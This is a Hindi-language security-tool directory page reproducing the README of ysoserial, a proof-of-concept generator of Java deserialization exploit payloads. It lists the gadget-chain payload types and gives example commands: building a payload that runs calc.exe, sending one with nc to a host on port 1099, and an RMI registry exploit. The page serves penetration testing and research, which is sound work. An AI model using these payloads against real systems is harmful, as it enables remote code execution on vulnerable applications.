Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ysoserial — असुरक्षित जावा ऑब्जेक्ट डिसीरियलाइज़ेशन का शोषण करने वाले पेलोड उत्पन्न करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट टूल। | Kitploit
उपकरण/GitHubGitHub/frohoff/ysoserial
शोषण फ्रेमवर्कपेलोड जनरेशनभेद्यता विश्लेषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubfrohoff/ysoserial

ysoserial

असुरक्षित जावा ऑब्जेक्ट डिसीरियलाइज़ेशन का शोषण करने वाले पेलोड उत्पन्न करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट टूल।

रिपॉजिटरी देखें
9.0k1.9k8 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

एक प्रूफ-ऑफ-कॉन्सेप्ट टूल जो असुरक्षित जावा ऑब्जेक्ट डिसीरियलाइजेशन का शोषण करने वाले पेलोड उत्पन्न करता है।

logo

विवरण

मूल रूप से AppSecCali 2015 टॉक "Marshalling Pickles: how deserializing objects will ruin your day" के भाग के रूप में जारी किया गया, जिसमें Apache Commons Collections (3.x और 4.x), Spring Beans/Core (4.x), और Groovy (2.3.x) के लिए गैजेट चेन थे। बाद में JRE <= 1.7u21 और कई अन्य लाइब्रेरीज़ के लिए अतिरिक्त गैजेट चेन शामिल करने के लिए अपडेट किया गया।

ysoserial उपयोगिताओं और प्रॉपर्टी-ओरिएंटेड प्रोग्रामिंग "गैजेट चेन" का एक संग्रह है जो सामान्य जावा लाइब्रेरीज़ में खोजी गई हैं, जो सही परिस्थितियों में, ऑब्जेक्ट्स के असुरक्षित डिसीरियलाइजेशन करने वाले जावा अनुप्रयोगों का शोषण कर सकती हैं। मुख्य ड्राइवर प्रोग्राम उपयोगकर्ता-निर्दिष्ट कमांड लेता है और उसे उपयोगकर्ता-निर्दिष्ट गैजेट चेन में लपेटता है, फिर इन ऑब्जेक्ट्स को stdout पर सीरियलाइज़ करता है। जब कोई एप्लिकेशन जिसके क्लासपाथ पर आवश्यक गैजेट मौजूद हैं, अनजाने में इस डेटा को डिसीरियलाइज़ करता है, तो चेन स्वचालित रूप से लागू हो जाएगी और कमांड को एप्लिकेशन होस्ट पर निष्पादित कर देगी।

यह ध्यान दिया जाना चाहिए कि कमजोरी असुरक्षित डिसीरियलाइजेशन करने वाले एप्लिकेशन में है, न कि क्लासपाथ पर गैजेट होने में।

अस्वीकरण

यह सॉफ़्टवेयर पूरी तरह से शैक्षणिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और इसका उद्देश्य सिस्टम पर हमला करने के लिए उपयोग करना नहीं है, सिवाय उन मामलों के जहां स्पष्ट रूप से अधिकृत किया गया हो। परियोजना अनुरक्षक सॉफ़्टवेयर के दुरुपयोग के लिए जिम्मेदार या उत्तरदायी नहीं हैं। जिम्मेदारी से उपयोग करें।

उपयोग

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     MozillaRhino2       @_tint0                     js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

उदाहरण

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

स्थापना

GitHub release

GitHub रिलीज़ से नवीनतम रिलीज़ jar डाउनलोड करें।

निर्माण

Java 1.7+ और Maven 3.x+ की आवश्यकता है

mvn clean package -DskipTests

कोड स्थिति

Build Status Build status

योगदान

  1. फ़ोर्क करें
  2. अपनी फीचर शाखा बनाएं (git checkout -b my-new-feature)
  3. अपने परिवर्तनों को कमिट करें (git commit -am 'Add some feature')
  4. शाखा में पुश करें (git push origin my-new-feature)
  5. नया पुल रिक्वेस्ट बनाएं

यह भी देखें

  • Java-Deserialization-Cheat-Sheet: कमजोरियों, उपकरणों, ब्लॉग/लेखों आदि की जानकारी
  • marshalsec: विभिन्न जावा डिसीरियलाइजेशन प्रारूपों/लाइब्रेरीज़ के लिए समान परियोजना
  • ysoserial.net: .NET डिसीरियलाइजेशन के लिए समान परियोजना
टूल डाउनलोड करें